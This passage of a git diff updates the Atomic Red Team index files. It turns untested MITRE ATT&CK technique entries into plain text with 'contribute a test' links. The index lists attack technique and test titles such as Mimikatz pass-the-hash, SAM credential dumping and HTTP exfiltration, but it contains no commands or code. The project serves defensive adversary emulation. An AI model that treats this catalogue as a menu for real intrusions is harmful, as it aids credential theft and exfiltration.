Hollowing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1186 Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1093 Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1121 Regsvcs/Regasm](./T1121/T1121.md) - Atomic Test #1: Regasm Uninstall Method Call Test [windows] - Atomic Test #2: Regsvs Uninstall Method Call Test [windows] @@ -230,11 +230,11 @@ - Atomic Test #3: LD_PRELOAD based Rootkit [linux] - [T1085 Rundll32](./T1085/T1085.md) - Atomic Test #1: Rundll32 execute JavaScript Remote Payload With GetObject [windows] -- [T1198 SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1218 Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1216 Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1045 Software Packing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1198 SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1064 Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1218 Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1216 Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1045 Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1151 Space after Filename](./T1151/T1151.md) - Atomic Test #1: Space After Filename [macos] - [T1099 Timestomp](./T1099/T1099.md) @@ -243,8 +243,8 @@ - Atomic Test #3: Set a file's creation timestamp [linux, macos] - [T1127 Trusted Developer Utilities](./T1127/T1127.md) - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # privilege-escalation - [T1134 Access Token Manipulation](./T1134/T1134.md) @@ -257,17 +257,17 @@ - Atomic Test #5: Attaches Command Prompt As Debugger To Process - narrator [windows] - Atomic Test #6: Attaches Command Prompt As Debugger To Process - DisplaySwitch [windows] - Atomic Test #7: Attaches Command Prompt As Debugger To Process - AtBroker [windows] -- [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1182 AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1103 AppInit DLLs](./T1103/T1103.md) - Atomic Test #1: Install AppInit Shim [windows] - [T1138 Application Shimming](./T1138/T1138.md) - Atomic Test #1: Application Shim Installation [windows] -- [T1088 Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1157 Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1068 Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1181 Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1044 File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1088 Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1038 DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1068 Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1181 Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1044 File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] - [T1183 Image File Execution Options Injection](./T1183/T1183.md) @@ -278,27 +278,27 @@ - [T1050 New Service](./T1050/T1050.md) - Atomic Test #1: Service Installation [windows] - Atomic Test #2: Service Installation PowerShell Installs A Local Service using PowerShell [windows] -- [T1034 Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1034 Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] -- [T1013 Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] -- [T1178 SID-History Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1178 SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1053 Scheduled Task](./T1053/T1053.md) - Atomic Test #1: At.exe Scheduled task [windows] - Atomic Test #2: Scheduled task Local [windows] - Atomic Test #3: Scheduled task Remote [windows] -- [T1058 Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1058 Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1166 Setuid and Setgid](./T1166/T1166.md) - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] - [T1165 Startup Items](./T1165/T1165.md) - Atomic Test #1: Startup Items [macos] -- [T1169 Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1206 Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1169 Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1206 Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # discovery - [T1087 Account Discovery](./T1087/T1087.md) @@ -312,8 +312,8 @@ - Atomic Test #8: Enumerate all user accounts - PowerShell [windows] - Atomic Test #9: Get logged on Users [windows] - Atomic Test #10: Get logged on users PowerShell [windows] -- [T1010 Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1010 Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1217 Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1083 File and Directory Discovery](./T1083/T1083.md) - Atomic Test #1: File and Directory Discovery [windows] - Atomic Test #2: nix file and diectory discovery [macos, linux] @@ -322,8 +322,8 @@ - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] - [T1135 Network Share Discovery](./T1135/T1135.md) - Atomic Test #1: Network Share Discovery [macos, linux] -- [T1201 Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1120 Peripheral Device Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1201 Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1120 Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - Atomic Test #1: Permission Groups Discovery [macos, linux] - [T1057 Process Discovery](./T1057/T1057.md) @@ -347,7 +347,7 @@ - [T1016 System Network Configuration Discovery](./T1016/T1016.md) - Atomic Test #1: System Network Configuration Discovery [windows] - Atomic Test #2: System Network Configuration Discovery [macos, linux] -- [T1049 System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1049 System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #1: System Owner/User Discovery [windows] - Atomic Test #2: System Owner/User Discovery [linux, macos] @@ -370,26 +370,26 @@ - Atomic Test #4: Registry dump of SAM, creds, and secrets [windows] - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #1: Browser and System credentials [macos] -- [T1214 Credentials in Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1212 Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1187 Forced Authentication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1214 Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1187 Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] - [T1056 Input Capture](./T1056/T1056.md) - Atomic Test #1: Input Capture [windows] - [T1141 Input Prompt](./T1141/T1141.md) - Atomic Test #1: Prompt User for Password [macos] -- [T1208 Kerberoasting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1208 Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1142 Keychain](./T1142/T1142.md) - Atomic Test #1: Keychain [macos] -- [T1171 LLMNR/NBT-NS Poisoning](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1040 Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1174 Password Filter DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1171 LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1040 Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1174 Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1145 Private Keys](./T1145/T1145.md) - Atomic Test #1: Private Keys [windows] -- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1167 Securityd Memory](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1111 Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1167 Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # execution - [T1155 AppleScript](./T1155/T1155.md) @@ -398,16 +398,16 @@ - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] - [T1059 Command-Line Interface](./T1059/T1059.md) - Atomic Test #1: Command-Line Interface [macos, centos, ubuntu, linux] -- [T1196 Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1196 Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1173 Dynamic Data Exchange](./T1173/T1173.md) - Atomic Test #1: Execute Commands [windows] -- [T1106 Execution through API](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1129 Execution through Module Load](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1203 Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1061 Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1106 Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1129 Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1203 Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1061 Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1118 InstallUtil](./T1118/T1118.md) - Atomic Test #1: InstallUtil uninstall method call [windows] -- [T1177 LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1177 LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1152 Launchctl](./T1152/T1152.md) - Atomic Test #1: Launchctl [macos] - [T1168 Local Job Scheduling](./T1168/T1168.md) @@ -435,19 +435,19 @@ - Atomic Test #1: At.exe Scheduled task [windows] - Atomic Test #2: Scheduled task Local [windows] - Atomic Test #3: Scheduled task Remote [windows] -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1035 Service Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1218 Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1216 Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1153 Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1064 Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1035 Service Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1218 Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1216 Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1153 Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1151 Space after Filename](./T1151/T1151.md) - Atomic Test #1: Space After Filename [macos] -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] - [T1127 Trusted Developer Utilities](./T1127/T1127.md) - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] -- [T1204 User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1204 User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1047 Windows Management Instrumentation](./T1047/T1047.md) - Atomic Test #1: WMI Reconnaissance Users [windows] - Atomic Test #2: WMI Reconnaissance Processes [windows] @@ -462,26 +462,26 @@ # lateral-movement - [T1155 AppleScript](./T1155/T1155.md) - Atomic Test #1: AppleScript [macos] -- [T1017 Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1175 Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1210 Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1175 Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #1: Logon Scripts [windows] - Atomic Test #2: Logon Scripts - Mac [macos] - [T1075 Pass the Hash](./T1075/T1075.md) - Atomic Test #1: Mimikatz Pass the Hash [windows] - Atomic Test #2: Mimikatz Kerberos Ticket Attack [windows] -- [T1097 Pass the Ticket](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1097 Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1076 Remote Desktop Protocol](./T1076/T1076.md) - Atomic Test #1: RDP [windows] - [T1105 Remote File Copy](./T1105/T1105.md) - Atomic Test #1: xxxx [linux, macos] -- [T1021 Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1184 SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1051 Shared Webroot](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1080 Taint Shared Content](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1021 Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1184 SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1051 Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1080 Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1077 Windows Admin Shares](./T1077/T1077.md) - Atomic Test #1: TODO [windows] - [T1028 Windows Remote Management](./T1028/T1028.md) @@ -502,23 +502,23 @@ - Atomic Test #2: PowerShell [windows] - [T1074 Data Staged](./T1074/T1074.md) - Atomic Test #1: Stage data from Discovery.bat [windows] -- [T1213 Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1005 Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1039 Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1025 Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1114 Email Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1005 Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1114 Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1056 Input Capture](./T1056/T1056.md) - Atomic Test #1: Input Capture [windows] -- [T1185 Man in the Browser](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1185 Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1113 Screen Capture](./T1113/T1113.md) - Atomic Test #1: Screencapture [macos] - Atomic Test #2: Screencapture (silent) [macos] - Atomic Test #3: X Windows Capture [linux] - Atomic Test #4: Import [linux] -- [T1125 Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1125 Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # exfiltration -- [T1020 Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1020 Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1002 Data Compressed](./T1002/T1002.md) - Atomic Test #1: Compress Data for Exfiltration With PowerShell [windows] - Atomic Test #2: Compress Data for Exfiltration With Rar [windows] @@ -531,44 +531,44 @@ - Atomic Test #1: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - Atomic Test #2: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - Atomic Test #3: Exfiltration Over Alternative Protocol - HTTP [macos, centos, ubuntu, linux] -- [T1041 Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1011 Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1052 Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1029 Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1041 Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1011 Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1052 Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1029 Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # command-and-control -- [T1043 Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1092 Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1090 Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1094 Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1024 Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1132 Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1001 Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1172 Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1008 Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1104 Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1188 Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1026 Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1079 Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1219 Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1092 Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1090 Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1132 Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1008 Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1104 Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1188 Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1026 Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1079 Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1219 Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1105 Remote File Copy](./T1105/T1105.md) - Atomic Test #1: xxxx [linux, macos] -- [T1071 Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1032 Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1095 Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1065 Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1071 Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1032 Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1095 Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1065 Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # initial-access -- [T1189 Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1190 Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1200 Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1193 Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1192 Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1194 Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1195 Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1199 Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1193 Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1199 Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/linux-index.md b/atomics/linux-index.md index cc240de9..d91e1dd0 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -2,7 +2,7 @@ # persistence - [T1156 .bash_profile and .bashrc](./T1156/T1156.md) - Atomic Test #1: .bash_profile and .bashrc [macos, linux] -- [T1067 Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1067 Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1176 Browser Extensions](./T1176/T1176.md) - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, 